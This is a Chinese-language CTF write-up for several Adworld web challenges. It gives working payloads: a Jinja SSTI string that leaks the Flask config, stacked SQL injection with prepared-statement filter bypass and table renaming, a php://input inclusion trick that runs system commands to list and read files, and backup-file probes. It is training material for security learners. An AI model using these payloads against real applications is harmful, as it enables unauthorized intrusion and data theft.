攻防世界 web篇(四)
cookie
X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
打开抓包,发现有个cookie.php
http://61.147.171.105:53978/cookie.php 查看响应头
web2
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){//这里是加密函数 $_o=strrev($str); //这里对字符串进行倒置 // echo $_o; for($_0=0;$_0<strlen($_o);$_0++) { $_c=substr($_o,$_0,1); //从$_0中一个一个将字符取出 $__=ord($_c)+1; //字符ASCLL码值+1 $_c=chr($__); //ASCLL码值变回字符 $_=$_.$_c; //拼接每一个字符 } return str_rot13(strrev(base64_encode($_)));//将字符串先base64加密 ,再倒置,再进行ROT13编码 } highlight_file(__FILE__); /* 逆向加密算法,解密$miwen就是flag */ ?>
解题代码思路
先base64解密 base64_decode()
使用 strrev()倒置字符串
再进行ROT13编码 刚好26个字母进行两次刚好完成解密
之后就是将字符的ASCLL码值-1
字符串再进行倒置
同样我们也使用php,使用echo将解密结果输出
可以使用本地环境或者在线环境
<?php $secret="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; $secret=base64_decode(strrev(str_rot13($secret))); $m=$secret; for($i=0;$i<strlen($secret);$i++){ $_c=substr($m,$i,1); $__=ord($_c)-1; $__=chr($__); $_=$_.$__; } echo strrev($_); ?>
https://c.runoob.com/compile/1/
shrine
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
flask 在 /shrine/ 下的 SSTI,对 payload 进行了过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
supersqli
使用预编译**绕过
';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
flag{c168d583ed0d4d7196967b28cbd0b5e9}
修改原参数查询
http://61.147.171.105:51964/?inject=1';show databases;--+
查表
http://61.147.171.105:51964/?inject=1';show tables;--+
分别查询两个表的字段: (字符串为表名进行操作时要加反引号) ; show columns from `1919810931114514` ;--+ ; show columns from `words` ;--+
1' or 1=1 #
http://61.147.171.105:51964/?inject=1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);
Web_php_include
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
使用php://input 伪协议
http://61.147.171.105:50320/?page=Php://input
<?php system('ls'); ?> #列出所有文件
<?php system('cat fl4gisisish3r3.php'); ?> #查看文件
upload1
更改文件名称
backup
题目描述:
X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
常见的备份文件后缀名: “.bak” “.git” “.svn” “.swp” “.~” “.bash_history” “.bkf”
http://61.147.171.105:59660/index.php.bak